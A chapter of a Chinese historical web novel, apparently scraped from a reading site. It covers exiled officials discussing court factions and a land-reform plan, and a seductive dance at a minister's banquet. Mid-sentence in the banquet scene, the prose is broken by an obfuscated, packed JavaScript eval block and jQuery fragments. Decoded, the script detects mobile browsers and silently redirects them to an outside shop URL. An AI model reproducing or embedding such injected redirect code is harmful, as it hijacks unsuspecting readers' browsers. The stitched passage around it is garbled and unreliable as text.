“人言可畏。”慕容玥叹了一声。
姚玟元上了马,往附近的驿站处去,“不错。方才慕容姑娘转移了众人的注意,他们如今主要的矛盾不在于此,待到此地平静,田间地头,便会有人将这件事情拿出来琢磨。”
“我方才应当早些动手。”慕容玥犹嫌不足。
姚玟元长长舒了一口气,“慕容姑娘,没想到你如此杀伐果断。”
“不是我果断,”慕容玥把手上的柳叶刀重新别回腰间,动作干脆利落,“是姚大人太过瞻前顾后。这种人留他一夜,明日就有千百个借口带兵回来围村。不如当场了结,震慑众人,一举两得。”
“姑娘以为东吁人与朝中派下来的人是一伙儿的?”
慕容玥点点头,“姚大人有所不知,东吁一党向来唯利是图,我幼年住在边关,与东吁人接触颇多,多的是鼠首两端之人。若是无利可图,他们又何须隐匿人群之中传播流言?”
“你以为是谁?”
“这天下,除了严氏,还有谁要和珉王殿下过不去?”
“大梁从前未曾派过太监前来监矿,看来是太子殿下授意。”
姚玟元攥紧了缰绳,“可杀了一个,朝中还会再派一个来。杀得完么?”
慕容玥沉默了一会儿,忽然抬眼看他:“那姚大人觉得,该如何?”
姚玟元没有立刻回答。马儿走到一处溪水边停住了,他下了马,蹲下身来,用手掬了一捧凉水泼在脸上,月色在湍流中破碎,一片明亮的月色就着溪水,让他混沌的头脑清醒了几分。
他直起身,望着远处黑沉沉的山影,声音低了下去,像是自言自语:“只能大刀阔斧地改革。可我身在西南边陲,人微言轻,纵有万般想法,也递不到朝中。只能寄望于朝中的清流。”
他忽然顿了一下,像是想起了什么久远的事。
“我从前做巡抚的时候,管过江南。徽州那边土地极为集中,全在大地主和官僚手里,农民没有地,只能逃亡。可那些地主的地又是怎么来的?非法强占。强占之后还要加租,加租之后农民活不下去,流民遍地,怨声载道。”
他苦笑了一声:“我曾经在老师府上提过这项改革之法。当时我说,若是能将强占的地退还给百姓,江南的民怨至少消去一半。可老师只叹了口气,说他年轻时也这般做过。老师曾在徽州做过巡抚,不过半年,就被当地地主联手排挤回了留都,坐了一年冷板凳。”
慕容玥安静地听着,忽然轻轻嗯了一声:“倒也不奇怪,那些地主不肯放弃他们已经到手的东西。”
“是啊。所以老师的改革非失败不可。这个矛盾,凭一两个人之力,根本调和不来。”
姚玟元说到这里,脸上那抹苦闷的神色忽然淡了些,取而代之的是一种近乎怀念的笑意。
“可当时在旁边奉茶的莺时,听完之后,却只说了四个字,平均地权。”
“平均地权?”慕容玥疑惑地望着姚玟元,她不明白。
“嗯,第一条便是清丈,核定地价,全国丈量所有田地,登记每户土地,官府定统一地价,杜绝地主隐瞒田亩、霸占无主荒地。
第二条是按地价征税,而非按人头重税,穷人少地少缴税,地主千亩良田多承担赋税,打破富户瞒田而贫民担赋的现状。
第三便是土地增值归公,荒地、河滩、山林开垦后地价上涨,多出收益归官府,用来赈济流民、兴修水利,地主不能坐享地价上涨的红利。
第四是耕者有其田,无地佃农可申领官府公田,限制单人持有田地上限,禁止地主无限兼并,低价强买贫民土地。”
慕容玥沉默着,若有所思。
姚玟元继续说道:“她曾为此写了一篇策论,后来老师的地方改革曾因地制宜改良此法……”
姚玟元说着说着,神色恍惚间黯淡下来,“要我说,莺时妹妹就是状元之才,可惜是个女儿身。”
慕容玥的眸光动了动,侧过脸来,月光逐渐西沉,幽幽月色将她清丽的侧脸照得半明半暗。
她面颊上浮起一抹浅笑,“看来你很喜欢她。”
姚玟元没有否认。他只是垂着眼,盯着不断东流的溪水。
“今日是她与珉王殿下成婚之日,我知道她是迫于无奈,心里未必愿意。若有一日我能重回京城,若她那时想走……”
姚玟元顿住了,片刻之后摇了摇头,没有再说下去。他如今是贬谪之身,入京遥遥无期,家徒四壁,两袖清风,如何能带着卫莺时回京?
就算是在京城中时,他也自知配不上她,从未肖想过此事,只把她当做亲妹妹看待。
夜风从山坳那边灌进来,吹得他青袍的下摆猎猎作响。慕容玥看了他很久,最终什么也没说。
“走吧,”慕容玥抬头望了一眼月色,是一轮满月,“脚程快一些没准还能喝上殿下与姑娘的喜酒。”
姚玟元眸光闪动,“可惜,我一路贬谪,身无长物,没什么东西相赠。”
慕容玥笑道:“卫姑娘不在意这些,她是个重情义的人,姚大人好好保重便可。”
月色之下,慕容玥的面颊转了过去,从他的角度看过去,面上不小心沾染的血痕隐没在阴影之中,她的侧脸清冷苍白,像是从未沾染杀孽。
……
五月十五,良辰吉日,严府也在设宴。
严立青在留都的府邸坐落在城东,五进五出的院子,檐角压着鎏金的兽吻,门楣上的匾额是当朝首辅严重亲笔所题,笔力雄浑,墨色如漆。
当晚的宴席设在正厅。
赴宴的皆是留都官场上有头脸的人物,工部营缮司的郎中、户部度支司的主事、漕运总督衙门的幕僚,围绕厅堂四周设有长案。
严立青坐在主位,谈笑风生,时不时抬手劝酒。
酒过三巡,管事的在廊下击了三下掌。厅中的喧哗声渐渐低下去,众人的目光转向厅中央空出来的那片地。
一群衣衫单薄的舞姬自侧门翩跹而入。
门前灯火通明,映得室内亮如白昼,待诸位官员稍稍适应了之后,这才看出妙处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788133|210247||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来。女子的衣衫灯火一照,近乎透明,蝉翼薄衫恍若无物。
腰身一个赛一个的纤细婀娜。
一众官员看得眼睛都直了,此时,丝竹声起。
起初是轻缓的,如春水流过溪石。
舞姬们莲步轻移,广袖翻飞如蝶,满座宾客对眼前的佳肴都没了兴致,渐次停了著,呷着美酒赏舞。
忽而曲调一扬,转为急促,十余名舞姬齐齐旋身,薄纱飞扬起来,露出底下藕白的一段赤裸的小腿。
满堂顿时叫好声四起。
一片喧嚷热闹之中,琵琶弦忽然裂帛似地一响。
众人不觉抬头,便见二楼暗处缓缓走下一人。原先那些舞姬退至两侧,簇拥中间的蒙面女子,那女子一身红衣,鬓发如云,只露出一双桃花眼,媚眼如丝,缓缓扫过堂中落座之人。
右手微抬,腕上一串金铃叮然作响。
红衣如一团火,骤然在灯火间燃烧一般,她旋身时裙摆扬成圆满的弧,足尖点地,金铃如密雨般响成一片。
腰肢比先前那些舞姬更软,却也更韧,腰身劲瘦,像一柄薄刃,几乎对折,转眼间又弹了起来。
扬袖之时,宽大的衣袖处露出藕白的手臂,□□半露,半遮半掩,朦朦胧胧的叫人心痒,叫坐在最前排的几个捏着手中的酒杯,直起身来。
她转得越来越快,红衣几乎成了一团红色的雾。金铃的声音从清脆变成绵密,再变成一片混沌的潮声,灌满了整间厅堂。众人耳中只剩那铃响。
忽地,铃声骤歇。
她定在台中央,一足独立,另一足屈起贴在膝侧,双臂自头顶缓缓落下,交叠在胸前。满身红衣垂落如静止的火焰。面纱下气息微微起伏,那一双眼睛终于垂下来,堪堪扫过台下众人。
落针可闻。
她微微侧首,自鬓边取下一朵不知何时簪上的红山茶,随手一掷。那花划过一道弧线,落在席间一位年轻文官的怀中,激得人心旌荡漾。
而后她转身,踩着来时的步子,一步一步消失在二楼暗处。
直到那抹红色完全没了踪影,厅中安静了很长一段时间,久到有人不小心碰翻了酒杯,瓷盏磕在桌面上发出清脆的一声响,才把众人从某种恍惚中拽回来。
随即便是掌声,零零落落的,然后是叫好声,再然后是一片交头接耳的赞叹。
严立青端着酒杯的手停在半空,他见过很多舞,官场上应酬的、青楼里献艺的、甚至宫中宴席上那些教坊司精心编排的大曲,却没有这支精巧抓人。
果然,新来的舞姬就是比原先的好,只不过留都的教坊司从哪里寻来的美人,怎么从前没见过?
严立青放下了酒杯。
待到后半夜,酒席散了,严立青才又想起来这回事儿,左思右想睡不着,索性叫人把那红衣女子叫来房中。
女子跟在管事的身后,低着头,穿过三道垂花门,路过两座假山一座水榭,最后停在后花园的暖阁前。管事的掀了帘子,躬身道:“昭姑娘,我们老爷在里面等您。”